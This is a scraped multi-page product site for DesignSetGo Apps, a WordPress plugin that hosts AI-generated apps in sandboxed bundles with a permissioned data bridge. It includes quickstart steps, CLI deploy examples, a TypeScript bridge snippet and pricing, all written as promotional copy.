# DesignSetGo Apps

> DesignSetGo Apps is a WordPress plugin that runs sandboxed apps (from single-block widgets to full multi-page web apps) inside a WordPress site. Apps are served at /apps/{slug} (or root-mounted) with a permissioned postMessage bridge to WordPress data. Authors build them with AI tools (Claude, Cursor, Lovable, v0) or the in-admin Riff builder.

## Home

URL: https://designsetgo.dev/

#  You built something with AI.  
Put it on your WordPress site. 

 Anything from a calculator to a full multi-page app, built in Claude, ChatGPT, Lovable, or v0\. It reads your real posts, pages, and users, with your permission. And it runs sandboxed, so if it breaks, your site doesn't. 

[ Install free plugin → ](/downloads/designsetgo-apps.zip) [ See the 5-step walkthrough ](/quickstart/) 

 Free hosts 1 active app. No card. No expiry. 14-day Pro trial auto-activates on install. 

designsetgo.dev · what do you want to ship? 

A mortgage calculator that reads my "Rates" custom post type and emails the result to the visitor 

Start with Mortgage calculatorMembers areaGift finder quizMeal plannerBooking widget 

Build in 

![Claude](/brand-logos/claude.svg) ![ChatGPT](/brand-logos/openai.svg) ![Cursor](/brand-logos/cursor.svg) ![Codex](/brand-logos/openai.svg) 

 Start building in Claude → 

Pastes from ![](/brand-logos/claude.svg)  Claude ![](/brand-logos/openai.svg)  ChatGPT ![](/brand-logos/cursor.svg)  Cursor ![](/brand-logos/openai.svg)  Codex ![](/brand-logos/lovable.svg)  Lovable ![](/brand-logos/v0.svg)  v0 ![](/brand-logos/bolt.svg)  Bolt 

THE LAST 20% 

##  AI-built apps don't work on WordPress. Until they do. 

 Claude builds the UI. Lovable builds the flow. v0 ships you a polished demo. Then you try to put it on your WordPress site and nothing's hooked up to anything. DSGo is the WordPress part your AI didn't write. 

What your AI built

A login form. It doesn't actually log anyone in.

With DSGo

Knows who is signed in to your site.

What your AI built

An API key hard-coded into the JS bundle.

With DSGo

Uses your site's AI key. Nothing in the bundle.

What your AI built

An app that looks great in isolation. On your site, naked.

With DSGo

Wraps in your theme so it matches the rest.

What your AI built

Can't see your posts, pages, or users.

With DSGo

Reads your real WordPress content with one line.

What your AI built

Every tweak: copy, paste, refresh, pray.

With DSGo

Push from your editor. Live in seconds.

What your AI built

Pasted HTML that can take your whole site down.

With DSGo

Sandboxed. The app crashes, your site stays up.

HOW IT WORKS 

##  From prompt to live in three pastes. 

 No build step. No terminal. No DevOps. Whatever AI tool you already use, the answer ends in a working WordPress page. 

1 Prompt 

### Prompt an AI you already use.

Claude.ai, ChatGPT, Lovable, v0, anywhere. Ask for a "WordPress-aware" app; our system prompt template does the rest. 

Build me a mortgage calculator that reads my `rates` 

![](/brand-logos/claude.svg) 

Here's a single-file React app that can read your rates… 

2 Paste 

### Paste it into DSGo.

Upload an HTML file or a zipped bundle (HTML, JS, CSS, assets) in wp-admin. We preview it against your real data before anything goes live. 

preview · /apps/mortgage 

Mortgage calculator

Loan

$320,000

Rate

6.4%

Monthly

$2,002

3 Ship 

### Approve the permissions. Live.

One click to publish. Your app lives on your domain, or embeds inside any post. Crashes are sandboxed; your site stays up. 

This app requests:

Read content, rates✓ allow

Send messages, WP mailer✓ allow

External services, outbound fetch✗ deny

[Publish to /apps/mortgage ](/how-it-works/#install) 

Prefer the terminal? [designsetgo apps deploy](/developers/) works the same way Agencies: [white-label flow](/agencies/) 

LIVE 

**Heads-up:** the page you're reading is itself a DSGo App, rendered from `/wp-json/wp/v2/pages/1`. 

REMIX-READY 

##  Real apps, running here. Fork any of them. 

 Every card opens the prompt + bundle that built it. Tweak two lines, ship to your own site. No screenshots, these are the actual apps. 

All In-post Full page Block Tool 

TOOL

Color contrast checker

Live /apps/quicktool 

TOOL DesignSetGo/quicktool 

#### Color contrast checker

Single-file drop-in. The "save out of Claude, upload" path.

[ Open ↗ ](/examples/#quicktool) [ Remix on GitHub ](https://github.com/DesignSetGo/quicktool) 

FULL PAGE

Members area

Live /apps/account 

FULL PAGE DesignSetGo/member-portal 

#### Members area

Multi-page /apps/account: profile, post history, preferences.

[ Open ↗ ](/examples/#member-portal) [ Remix on GitHub ](https://github.com/DesignSetGo/member-portal) 

FULL PAGE

Woo storefront

Live /apps/shop 

FULL PAGE DesignSetGo/shop 

#### Woo storefront

Product grid, cart, checkout. Full v1 commerce surface.

[ Open ↗ ](/examples/#shop) [ Remix on GitHub ](https://github.com/DesignSetGo/shop) 

BLOCK

Contact form

Live /apps/contact 

BLOCK DesignSetGo/contact 

#### Contact form

Iframe form that emails the owner via dsgo.email.send.

[ Open ↗ ](/examples/#contact) [ Remix on GitHub ](https://github.com/DesignSetGo/contact) 

BLOCK

Size & fit recommender

Live /apps/fit 

BLOCK DesignSetGo/woo-fit-recommender 

#### Size & fit recommender

Embedded on product pages. Persists answers per visitor.

[ Open ↗ ](/examples/#woo-fit-recommender) [ Remix on GitHub ](https://github.com/DesignSetGo/woo-fit-recommender) 

BLOCK

Recipe leaderboard

Live /apps/recipes 

BLOCK DesignSetGo/recipe-ranker 

#### Recipe leaderboard

Ranks "recipes" category posts by per-visitor view count.

[ Open ↗ ](/examples/#recipe-ranker) [ Remix on GitHub ](https://github.com/DesignSetGo/recipe-ranker) 

IN-POST

RSVP board

Live /apps/rsvp 

IN-POST DesignSetGo/event-rsvp-board 

#### RSVP board

Small RSVP widget with shared seat count via app storage.

[ Open ↗ ](/examples/#event-rsvp-board) [ Remix on GitHub ](https://github.com/DesignSetGo/event-rsvp-board) 

FULL PAGE

Searchable post browser

Live /apps/browse 

FULL PAGE DesignSetGo/content-navigator 

#### Searchable post browser

Search posts + bookmark per-user. Reads site, stores per visitor.

[ Open ↗ ](/examples/#content-navigator) [ Remix on GitHub ](https://github.com/DesignSetGo/content-navigator) 

[See all community apps →](/examples/) 

WHY NOT JUST… 

##  All the convenience. None of the risk. 

|                                 | DSGo apps            | Lovable / v0 hosting  | Custom HTML block  | WPCode / snippets  |
| ------------------------------- | -------------------- | --------------------- | ------------------ | ------------------ |
| Lives on your WordPress site    | Yes                  | No, separate host     | Yes                | Yes                |
| Reads your real posts and users | Yes, with permission | No, has to re-import  | Manual JS only     | Yes, but unsafe    |
| Sandboxed if it breaks          | Yes                  | n/a, offsite          | No, kills the page | No, kills the site |
| Ongoing hosting cost            | $0, your WordPress   | $20 to $50/mo per app | $0                 | $0                 |
| Remixable in one click          | Yes                  | No                    | No                 | No                 |

APPS BECOME CONTENT 

##  Your app goes wherever content goes. 

 An installed app is not just a standalone page. Drop it into any post, page, or Elementor layout, the same way you add an image or a heading block. 

Dedicated URL

### Its own page.

 Every app gets a URL at /apps/{slug} by default. Share it, link to it, put it in your nav. It looks and feels like any other page on your site. 

Gutenberg block or \[dsgo\_app\] shortcode

### Inside any post or page.

 Add the DSGo App block from the Gutenberg block inserter, or paste \[dsgo\_app slug="my-app"\] anywhere a shortcode works. The app reads the post it is embedded in. 

Elementor widget

### Drag it into any layout.

 The DesignSetGo App widget appears in the Elementor panel. Drop it into a column, section, or popup. Same sandbox, same permissions, zero custom code. 

PRICING 

##  A typical site replaces $115/mo of SaaS. 

 Free hosts one active app on your install. No card, no expiry, no upsell. 

### What you stop paying for

Calendly $10/mo · booking that reads your services list 

Typeform $25/mo · multi-step intake, persisted per visitor 

MemberSpace addon $20/mo · member portal w/ per-user storage 

Industry calc plugin $60/mo · in-post calculator reading the page 

Total $115/mo $0 on Free, $149.99/yr on Pro 

### Free

$0 

 For trying things and shipping a first app. 

* ✓ 1 active app
* ✓ No card, no expiry
* ✓ Drag-and-drop importer
* ✓ Apps can read your content
* ✓ Sandboxed
[Install free →](/downloads/designsetgo-apps.zip) 

RECOMMENDED 

### Pro

$149/yr 

 For sites that ship more than one app a month. 

* ✓ Unlimited apps per site
* ✓ Apps can also create and update content, with your approval
* ✓ Scheduled jobs, webhooks
* ✓ Custom domains
* ✓ Priority support
[See all 3 plans →](/pricing/) 

FIVE MINUTES 

##  Ship your first app this afternoon. 

 Free hosts one active app, no card, no expiry. Paste from Claude, drop a Lovable build, or push from your terminal; same plugin, same sandbox, same result. 

[Install free plugin →](/downloads/designsetgo-apps.zip) [See the 5-step walkthrough](/quickstart/) 

install · 60s 

1 Install the free plugin from wp-admin. 

2 Open Claude.ai, paste our prompt template. 

3 Drop the generated HTML into DSGo. 

4 Approve permissions. App is live.

## How it works

URL: https://designsetgo.dev/how-it-works/

How it works

#  A DSGo app lives _inside your WordPress site,_  
 at its own URL, or embedded in any post or page. 

 You upload the HTML file. The plugin keeps it contained, so it can't touch anything on your site you haven't approved. Then you choose where it appears: its own URL like your-site.com/apps/calculator, inside a post, or as your site's home page. 

[Install free plugin →](/downloads/designsetgo-apps.zip) [See live examples](/examples/) 

The short version

**Free hosts 1 active app**, no card, no expiry. Pro lifts the cap and adds CLI deploy plus the in-admin AI builder. 

[See pricing →](/pricing/) [Skip to examples](/examples/) 

01 · Think of it like this

## WordPress, as a runtime for sandboxed apps. 

 Like browser extensions, for your WordPress site. Chrome runs extensions and Figma runs plugins; with DesignSetGo Apps installed, WordPress runs your apps the same way, each one sandboxed and only able to see the site data you approve. 

02 · The bundle, install, runtime flow

##  From a static bundle to a live, data-aware page. 

1 Bundle 

### A folder of static files.

Whatever your build emits (HTML, JS, CSS, WASM) plus `dsgo-app.json`. The starter is Astro + TS; React, Vue, Svelte, Solid, vanilla, anything that builds to static files. 

▸ my-app/

├─ dsgo-app.json config 

├─ index.html

├─ assets/

├─ app.css

├─ main.js

├─ pages/

├─ about.html

├─ pricing.html

2 Install 

### Validated, extracted, approved.

The admin sees the app's requested capabilities, rendering mode, and network policy in plain English _before_ the install completes. 

Install mortgage-calculator?

v0.4 · 12 kB bundle · built with Claude 

This app will be able to:

Read content your "rates" custom post type 

Send messages email via WordPress mailer 

Storage visitor preferences (per-user, 5 kB) 

Render mode: `inline` · Network: sandboxed 

Cancel Approve and install 

3 Runtime 

### Served at /apps/{slug} 

Or as a Gutenberg block, an Elementor widget, or promoted to your site's home page. The plugin handles the data requests and permission checks behind the scenes, so your app just asks for what it needs. 

your-site.com/apps/mortgage 

Mortgage calculator

Loan

$320,000

Rate, "rates" CPT

6.4%

Monthly

$2,002

03 · Two ways an app can appear

##  Its own page. Or a box on your page. 

 Every app picks one of these two ways to show up. Both are sandboxed; they just render differently. 

 DEFAULT 

### Inline mode

 Runs on its own page, wrapped in your theme's header and footer, so it looks like the rest of your site and search engines can crawl it. 

your-site.com/apps/portal · 200 OK 

← WordPress theme header 

YOUR APP · INLINE

Members area

← WordPress theme footer 

 DROP-IN ARTIFACTS 

### Iframe mode

 Runs fully contained in its own box on the page, the strongest isolation available, ideal for dropping in a single tool like a Claude artifact. 

your-site.com/posts/recipe · 200 OK 

<iframe sandbox> isolated 

Quick poll · drop-in

[Full details in the docs →](/docs/) 

04 · Apps become content

##  A dedicated URL is the default. But not the only option. 

 Once installed, an app is not locked to its /apps/{slug} address. You can drop it into any post or page as a Gutenberg block, paste it anywhere with the \[dsgo\_app\] shortcode, or drag it into an Elementor layout. Same bundle, same sandbox, same permissions, no extra configuration. 

Dedicated URL

your-site.com/apps/{slug}

The default. Shareable, linkable, sitemap-indexed in inline mode. Works as a standalone tool, a member portal, or a full multi-page experience.

Gutenberg block or shortcode

DSGo App block or \[dsgo\_app\] shortcode

Insert from the block inserter or paste the shortcode. The app can read the post it lives in, so a calculator on a product page pulls that page's data automatically.

Elementor widget

DesignSetGo App widget

The widget appears in the Elementor panel. Drag it into any column, section, or popup. Works with Elementor Free and Pro, no shortcode required.

05 · Permissions

##  The app asks. You approve. 

 Before an app can read anything on your site, it has to ask. It reaches your posts, pages, and users through a permission-checked connection we call the bridge. You see exactly what it wants, in a list you can actually read, and you approve or decline before install finishes. 

✓ 

 Free apps can read your posts, pages, and the current user by default. Writing content, sending AI prompts, and other higher-trust actions are Pro, and still require your approval. 

[Full permissions reference →](/docs/reference/#bridge) 

06 · AI features

 Apps that use AI call your site's own AI credentials, the ones your admin already set up in WordPress. This plugin never holds, sees, or charges for your keys. 

[More for developers →](/developers/) 

Ready to read code?

##  See the bridge in real code. 

 The CLI scaffolds a starter with the bridge wired up and a CLAUDE.md documenting every method. designsetgo apps init --astro adds Astro for multi-page apps. 

[Install free plugin →](/downloads/designsetgo-apps.zip) [For developers](/developers/) 

zsh · \~/my-app 

$ npx designsetgo apps init my-mortgage --astro
  ✓ scaffolded · 12 files · 5 kB
$ designsetgo apps deploy --site example.com
  ✓ live at example.com/apps/my-mortgage
  └ permissions: read_content, send_messages

## Quickstart

URL: https://designsetgo.dev/quickstart/

Quickstart

#  Five wp-admin screens between you and a live app. 

 The exact path from "I have a saved page from Claude or ChatGPT" to my-site.com/apps/calculator. No surprises after you install. 

[ Install free plugin → ](/downloads/designsetgo-apps.zip) [ See live examples ](/examples/) 

 Total time, first run: about 5 minutes. After that, every app is under 60 seconds. 

1. 1 INSTALL  
### Activate the plugin.  
Install DesignSetGo Apps from the WordPress plugin directory. A new menu item, "DSGo Apps," appears in your wp-admin sidebar.  
![wp-admin sidebar showing the new DSGo Apps menu item highlighted in blue, with Apps, Settings, Build with AI, Upgrade, and Account submenu items visible.](/quickstart/01-sidebar.png)
2. 2 CHOOSE SOURCE  
### Choose an app source.  
DSGo Apps then New App. The fastest path: upload the HTML file Claude or ChatGPT lets you download (Claude calls it an Artifact). You can also install a ready-made starter, build one with the in-admin AI prompt builder, or upload a packaged zip from your editor.  
![DSGo Apps New App screen: three source cards (Try the starter app, Upload an artifact, Build with AI) above a tabbed Upload artifact / Upload bundle picker with a drop zone.](/quickstart/02-source-picker.png)
3. 3 DROP IT IN  
### Drop in your file.  
Drag your .html file (from Claude, ChatGPT, v0, or Lovable) or a built .zip (from Cursor, Codex, or Claude Code) onto the upload area. The plugin parses the bundle and shows you what is inside.  
![Active drag-and-drop zone in wp-admin reading Drop a bundle here, or choose a file.](/quickstart/03-upload-area.png)
4. 4 APPROVE  
### Approve what it can read.  
If the app wants to read your posts, the current user, or call your AI provider, you will see a plain-English permission summary: "Read content: reads posts, pages, and user data from your site." Most single-file artifacts ask for nothing.  
![Permission consent dialog: Install Member portal v0.1.0, with Read content explained in plain English, Cancel and Install buttons.](/quickstart/04-permission-consent.png)
5. 5 LIVE  
### Open the live URL.  
The success screen gives you a real URL on your site at your-site.com/apps/{slug}. Click to open it. From the same screen, copy the URL, embed it in a post, or make it your site's home page.  
![Install success panel: INSTALLED eyebrow, account is ready heading, the live URL, and four action buttons: Open app, Embed in a page, Set as site home, Copy URL.](/quickstart/05-success.png)

Before you install

## What you might be wondering.

What happens if the app breaks? + 

Nothing happens to your site. Each app runs in a browser-level sandbox with its own permissions. A broken app shows a broken app, the rest of WordPress (your theme, menus, checkout, posts) keeps working. Worst case: delete the app from wp-admin with one click.

Do apps need a server / hosting / Vercel account? + 

No. Apps run on your WordPress site. Static files are served from your existing WordPress uploads directory, and the plugin handles routing, permissions, and the connection to your WordPress data.

What does Free actually give me? + 

One active app per site, no expiry, no card. You can install as many bundles as you want; only the most recently activated one serves at /apps/{slug}, and you can switch which one is active with one click. Pro unlocks unlimited active apps, CLI deploy from Claude Code / Cursor / Codex, an AI builder inside wp-admin, scheduled jobs, and webhooks. If you only need one app, Free is the whole product.

How do I uninstall an app cleanly? + 

DSGo Apps then hover the app row then Delete. The plugin removes the bundle and its routes; no code lingers in your theme or in functions.php because nothing was ever pasted there.

Can I try it without installing anything? + 

Yes. Every page on designsetgo.dev is itself a DSGo app, served by the same plugin. The examples are live; click See it live and you are using a DSGo app in our WordPress install.

## Ready when you are.

Five minutes from now, you could have your first AI-built app live on your WordPress site. 

[Install free plugin](/downloads/designsetgo-apps.zip) [See pricing](/pricing/)

## Live demo

URL: https://designsetgo.dev/demo/

Live proof

# Three installed apps. One real WordPress site. 

Not a mockup. Not a roadmap. Not a video pretending to be a product. These apps are running on designsetgo.dev through the same DSGo Apps runtime you install on your site, and the source for each is a public repo you can fork. 

[Open the apps](#apps) [Inspect the proof](#proof) 

designsetgo.dev/demo

**Live routes** /apps/quicktool · /apps/contact · /apps/shop 

**Source** DesignSetGo/{quicktool, contact, shop} 

**Runtime** manifest permissions + sandboxed iframe isolation 

**This page** also a DSGo app, in inline mode 

Try the installed apps

## Start where a skeptic would start: click the real thing. 

 The three-app set intentionally spans the launch claims: a saved artifact, a permissioned WordPress action, and a connected commerce app. 

[ ![](/examples/quicktool.png) sandboxed ](https://designsetgo.dev/apps/quicktool) 

/apps/quicktool

### A color contrast checker

Pick two colors, see whether they pass WCAG accessibility ratios. One HTML file, no build step, no bridge calls, drop in a saved Claude artifact and ship.

* single-file
* zero-build
* csp-strict

[Open live app](https://designsetgo.dev/apps/quicktool) [Fork on GitHub](https://github.com/DesignSetGo/quicktool) 

[ ![](/examples/contact.png) sandboxed ](https://designsetgo.dev/apps/contact) 

/apps/contact

### A contact form that just works

A polished form on your site that emails you when visitors reach out. The app never holds an SMTP password, WordPress's built-in mailer handles delivery.

* email.send
* forms
* iframe

[Open live app](https://designsetgo.dev/apps/contact) [Fork on GitHub](https://github.com/DesignSetGo/contact) 

[ ![](/examples/shop.jpg) sandboxed ](https://designsetgo.dev/apps/shop) 

/apps/shop

### A storefront for your shop

A polished product grid, cart, and checkout that lives alongside your existing WooCommerce store. No theme tweaks. If the app breaks, your site is fine.

* commerce
* multi-page
* iframe

[Open live app](https://designsetgo.dev/apps/shop) [Fork on GitHub](https://github.com/DesignSetGo/shop) 

Proof checklist

## The claims are tied to files you can inspect. 

 Each example is deliberately small enough to audit: manifest, app source, release bundle, and live route all line up. 

Zero-build artifact

### Color contrast checker

One HTML file, no bridge permissions, strict iframe sandbox.

`examples/quicktool/dsgo-app.json` 

[github.com/DesignSetGo/quicktool ↗](https://github.com/DesignSetGo/quicktool) 

Permissioned WordPress action

### Contact form

It can email the site admin and nothing else. The app itself never holds your email credentials.

`examples/contact/dsgo-app.json` 

[github.com/DesignSetGo/contact ↗](https://github.com/DesignSetGo/contact) 

Connected commerce app

### Shop

Reads your WooCommerce products and cart, with permissions you approve at install.

`examples/shop/dsgo-app.json` 

[github.com/DesignSetGo/shop ↗](https://github.com/DesignSetGo/shop) 

Common objections

## Built for the second question. 

 Launch visitors will ask what happens after the first neat demo. The answer is visible here: permissions, source, isolated routes, and reusable bundles. 

Is this just screenshots? + 

No. Each primary card links to a live app installed on designsetgo.dev under /apps/{slug}. Open it, click around, and inspect the bundle source.

Can a generated app wander through my site? + 

No. Every bundle declares a manifest. Quicktool declares no bridge permissions; Contact declares email only; Shop declares commerce/user/abilities reads only.

What if an app breaks? + 

The demo apps run in isolated routes with a strict runtime. A broken app is contained to its app frame or route, not the WordPress theme, admin, or other apps.

Now check the broader slate

## The full lineup is on /examples. 

 The examples page includes the full app lineup: member portal, block renderer, inline pricing page, recipe ranker, Stripe proxy, and AI companion preview. 

[Install free plugin](/downloads/designsetgo-apps.zip) [See all examples](/examples/)

## For site owners

URL: https://designsetgo.dev/site-owners/

FOR SITE OWNERS Run AI-built apps on your WordPress site: they read your real posts, pages, and users, and run sandboxed so a broken app cannot break your site. 

#  You built something in Claude. Put it on your WordPress site. 

 A calculator from Claude.ai. A quiz from ChatGPT. A member portal from Lovable or v0\. Maybe you got fancier and used Cursor or Codex. Whatever you generated, save the HTML, drop it in wp-admin, and it is a real app on your site, sandboxed so it cannot break anything. 

[Install free plugin](/downloads/designsetgo-apps.zip) [See the 5-step walkthrough](/quickstart/) 

 Free hosts 1 active app, no card, no expiry. Pro unlocks unlimited active apps and CLI deploy from your editor. 

What this is for

##  The bespoke widget you have been putting off. 

 You know the one. A calculator for your industry. A quiz that filters your products. A nicer pricing page than your theme gives you. The thing every generic plugin almost does, until it does not. DSGo Apps is for those. 

01

### Calculators tied to your data.

Mortgage calculators on real-estate listings. TDEE calculators on fitness pages. Tax-bracket lookups. ROI estimators. Each one reads the post it is on, so the numbers reflect _your_ content, not a generic widget.

02

### Filters and finders for your archive.

A recipe filter that reads your post taxonomy. A product finder that crosses your categories. A "find a stylist" widget that pulls from your team page. Your content stays in WordPress; the widget gives it a smarter front door.

03

### Landing-page interactives.

Quizzes, lead magnets, pricing toggles, configurators, the kind of thing you would normally embed from Typeform or Outgrow. Build it once, host it in your own site, own the data the visitor enters.

The flow

##  Generate it in your AI of choice. Drop the HTML into wp-admin. 

 No terminal, no Vercel account, no build step. Whichever tool you already opened, save the result as HTML (or a built zip) and upload it on the New App screen. Under a minute, live on your WordPress site. 

C GPT 

### From Claude.ai or ChatGPT

 Ask for the thing you want. Hit the download icon on the artifact, or copy the canvas and save as .html. Open DSGo Apps then New App, drop the file, name it. Live at /apps/{slug}. 

♥ v0 

### From Lovable or v0

 Both export a built static bundle. Download the zip, upload it the same way. The plugin reads the manifest, shows you what permissions it asks for, installs it once you approve. 

► CX 

### If you got fancier with Cursor or Codex

 Same paste-the-zip flow works. If you want to skip the upload step entirely, install the CLI and designsetgo apps deploy from your project. That is the Pro path; the upload path stays free. 

Want the prompt template?

 DSGo Apps then Install an app then Build with AI generates a bridge-aware prompt, pre-loaded with your site's API surface, that you paste into Claude or ChatGPT. The HTML it writes back already knows how to read your posts and pages. 

Also available

BETA · PRO 

 If you would rather not leave wp-admin, the in-admin AI builder (Riff) drafts the app right there using your site's configured AI provider. It is included on Pro and currently in beta, so the paste-from-Claude flow above is the more reliable path today. 

Apps become content

##  Block, widget, or its own URL. You already know how those work. 

 Once an app is installed, it goes wherever content goes. In Gutenberg, add the DSGo App block; in Elementor, drag the DesignSetGo App widget; or visit it directly at /apps/{slug} as its own page. Same app, same sandbox, three ways to place it. 

1 Install 

### Install the plugin.

From the WordPress plugin directory, the same way you install any plugin. Activate it. A new menu item, "DSGo Apps," appears in the sidebar.

2 Add an app 

### Pick a path: build or upload.

Either describe what you want and let the AI build it (Pro), or paste an HTML page you already made (Free). Review the permissions, click install. The app gets a URL at /apps/{name}.

3 Embed 

### Drop the block where you want it.

Edit a post or page, add the "DSGo App" block, pick the app. Save. Visitors see the widget in the spot you chose. The app reads the post it is embedded in, so the same calculator can show different defaults on different pages.

Why this is safe

##  If the app breaks, your site is fine. 

 Every app runs inside a browser-level sandbox with its own declared permissions, so a broken or badly-behaved app shows a broken widget, not a broken site. 

 See the security page for the full breakdown of permissions, CSP, and isolation modes. [How the sandbox works →](/security/) 

What you need

### Free hosts 1 active app. Pro lifts the cap and adds CLI deploy.

 The Free plugin hosts one active app at a time via the wp-admin artifact and bundle upload paths, the right fit if you paste from Claude.ai, ChatGPT, Lovable, or v0 and want it on your site. Paid plans lift the app cap, add CLI deploy, and unlock multi-site licensing. [See full pricing →](/pricing/) 

##  Install the free plugin and put one app on your site. 

 Paste from Claude or ChatGPT in under a minute. If it does not stick, you are out a few minutes and your site is unchanged. 

[Install free plugin](/downloads/designsetgo-apps.zip) [See the walkthrough](/quickstart/)

## For developers

URL: https://designsetgo.dev/developers/

FOR DEVELOPERS Run AI-built apps on your WordPress site: they read your real posts, pages, and users, and run sandboxed so a broken app cannot break your site. 

#  WordPress as a deploy target for Claude Code, Cursor, and Codex. 

 Typed bridge to real WP data. App-Password auth that takes ten seconds. Atomic deploy with one CLI command. Choose iframe mode for untrusted bundles, or inline mode when you want native SEO and site-owned routes. 

[CLI reference](/docs/reference/#cli) [Bridge client on GitHub](https://github.com/DesignSetGo/app-client) 

How to think about it

##  WordPress as a runtime, like Chrome runs extensions or Figma runs plugins. 

 DesignSetGo Apps is one WordPress plugin. The apps you ship through it are not plugins. They are sandboxed static bundles (HTML, JS, CSS, WASM) plus a dsgo-app.json manifest. The runtime loads them, sandboxes them, and feeds them WordPress data through a typed bridge. The app never sees a REST token. 

The runtime 

### WordPress, plus this plugin.

Boots the app, enforces the CSP, owns auth, runs the bridge. The same role Chrome plays for extensions.

The app 

### A static bundle with a manifest.

Whatever your build emits, plus `dsgo-app.json` declaring permissions. No PHP, no shared process. Lives at `/apps/{slug}`.

The bridge 

### A typed postMessage API.

The app asks for posts, pages, the current user, storage, abilities. The runtime enforces what each app is allowed to see.

 The shift in one line: anything you used to ship as a WordPress plugin with full trust (a calculator, a portal, a dashboard, an AI tool) becomes a sandboxed bundle with declared permissions instead. The category survives. The security model flips. 

The loop

##  From init to live in three commands. 

 The CLI scaffolds a minimal starter by default, or an Astro starter with --astro for multi-page apps. Any static bundle works. It authenticates with a WordPress Application Password and pushes the bundle; each subsequent deploy is an atomic update at the same app id. 

1 Scaffold 

### Start a new app.

 A single index.html, a dsgo-app.json wired up, and an AGENTS.md (plus a CLAUDE.md import) documenting the bridge surface. No build step required, deploys as-is. Add --astro for the multi-page starter (booking flows, member portals, intake wizards). 

`designsetgo apps init my-app` 

2 Authenticate 

### Log in once.

 Uses WordPress Application Passwords, built into core, scoped, revocable. Credentials are stored at \~/.config/designsetgo/credentials.json with 0600 permissions. 

`designsetgo apps login` 

3 Deploy 

### Ship it.

 Bundles the directory, shows you the capability diff, and atomically replaces the bundle on the site. Re-run as often as you like, same app id, no downtime. For the Astro starter, pass --build so the CLI runs npm run build first. 

`designsetgo apps deploy` 

The bridge client

##  No REST plumbing. No auth boilerplate. 

 The @designsetgo/app-client package gives you typed access to your WordPress site. Same surface in inline mode (same window) and iframe mode (cross-frame); the transport is auto-selected. 

src/app.ts · @designsetgo/app-client TS 

// Read posts, pages, the current user, and per-app storage.
// The bridge handles auth + REST behind the scenes.

import { dsgo } from "@designsetgo/app-client";
await dsgo.ready;

// Site context
const site = await dsgo.site.info();

// Real posts, filtered by what the current user can see
const { posts } = await dsgo.posts.list({
    type: "recipe",
    orderby: "date",
    order: "desc",
    per_page: 10,
});

// Logged-in user, and what they're allowed to do
const me = await dsgo.user.current();
if (await dsgo.user.can("edit_posts")) {
    // show the editor-only UI
}

// Per-app, per-user persistent storage; survives reloads
await dsgo.storage.user.set("favourites", [42, 88]);

What your AI agent sees

##  An AGENTS.md and a CLAUDE.md in every starter. 

 The starter ships a full extension manual at the project root. AGENTS.md is the vendor-neutral canonical file; Codex, Cursor, Aider, and any tool that follows the agents.md convention read it directly. CLAUDE.md is a one-line @-import of AGENTS.md so Claude Code picks up the same content without duplication or drift. 

### Claude Code

Reads `CLAUDE.md` automatically, which `@`\-imports `AGENTS.md`. `designsetgo apps init` \+ open in Claude Code is the path of least resistance.

### Codex CLI

Reads `AGENTS.md` as project context; that's the convention Codex's project memory uses. Already in place, nothing to rename.

### Cursor / Aider

Both follow the `AGENTS.md` convention out of the box; the same file feeds them too.

### Other agents

Pass `AGENTS.md` as additional context. The bridge spec is vendor-neutral; there's no Anthropic-specific coupling in the runtime.

Agent skills pack

##  Teach the agent the bridge before the project exists. 

 AGENTS.md answers the agent once it is inside a DSGo project. The DSGo skills pack answers it on the way in: installed at the user level, so the agent already knows the manifest schema, every dsgo.\* method, and the CLI loop before apps init runs. 

installs across every supported agent SH 

npx skills add DesignSetGo/skills

* `building-dsgo-apps` Scaffolding, the inline-vs-iframe choice, project layout.
* `dsgo-manifest` Every field of `dsgo-app.json`: routes, permissions, secrets, scheduled jobs, webhooks.
* `dsgo-bridge-api` Every `dsgo.*` method, its permission gate, its error code shape.
* `deploying-dsgo-apps` The `@designsetgo/cli` loop, preview deploys, CI with env-var auth.
* `dsgo-abilities` Publishing abilities back to the site, consuming abilities, `dsgo.ai.prompt` tool calling.

Isolation modes

##  Inline for crawlable pages. Iframe for drop-in artifacts. 

 Same bundle format, same bridge, different rendering. Apps declare which they want in the manifest. See How it works for the deeper trade-off. 

Inline (default) 

### Real WordPress page, native SEO.

 Renders at /apps/{slug}/{route} with multi-page routes via routes, per-request CSP nonces, install-time sanitization, optional theme header/footer wrap, and automatic sitemap inclusion. Pick this for content-heavy apps. 

Iframe 

### Opaque-origin sandbox.

 App renders inside an <iframe sandbox> without allow-same-origin, giving it an opaque origin. Single-page, not crawlable, ideal for drop-in Claude artifacts and bundles you want the strongest isolation guarantee on. 

License + price

### CLI deploy is a Pro feature.

 The bridge client (@designsetgo/app-client) and CLI (@designsetgo/cli) are MIT-licensed on GitHub. The plugin runtime is one zip; Free hosts uploaded bundles but not CLI pushes, so CLI deploy needs a paid plan. [See pricing →](/pricing/) 

Three commands

##  Open Claude Code. Ship a real WP app. 

 The starter ships with the typed bridge wired up and an AGENTS.md documenting every method. designsetgo apps init --astro adds Astro for multi-page apps. 

[Install free plugin](/downloads/designsetgo-apps.zip) [Read the docs](/docs/) 

zsh · \~/my-app 

$ npm i -g @designsetgo/cli
$ designsetgo apps init my-mortgage --astro
  ✓ scaffolded · 12 files · 5 kB
$ designsetgo apps login --site example.com
  ✓ stored credentials
$ designsetgo apps deploy --site example.com
  ✓ live at example.com/apps/my-mortgage
  └ permissions: read_content, send_messages

## For agencies

URL: https://designsetgo.dev/agencies/

FOR AGENCIES & FREELANCERS Run AI-built apps on your clients' WordPress sites: they read each site's real posts, pages, and users, and run sandboxed so a broken app cannot break the site. 

#  Build a booking widget once. Ship it to every client site. 

 DSGo Apps gives you a smaller unit than a full plugin: ship a single bundle to N clients with one CLI command, update them all the same way. Multi-site deploys and white-label are on the Studio plan. 

[CLI quick-start](/docs/#path-b) [Agency pricing](/pricing/) [Bridge client on GitHub](https://github.com/DesignSetGo/app-client) 

The agency loop

##  One bundle. N client sites. 

 It's the same init, login, deploy loop developers use, just repeated per client. Build the app once, then run designsetgo apps login --site and designsetgo apps deploy --site against each client's hostname. Each install reads that client's own WordPress data. 

 See the developer page for the full CLI walkthrough. [The init, login, deploy loop →](/developers/) 

Ship to many sites

##  A small bash loop is the "multi-site deploy." 

 No bespoke fleet manager. The CLI takes a single --site per call; agencies stitch that into whatever orchestration they already have, a shell loop, a CI matrix, an Ansible task. 

deploy.sh SH 

# Build once.
npm run build

# Ship the same dist/ to every client.
for site in client-1.com client-2.com client-3.com; do
  designsetgo apps deploy --site "$site" --no-build
done

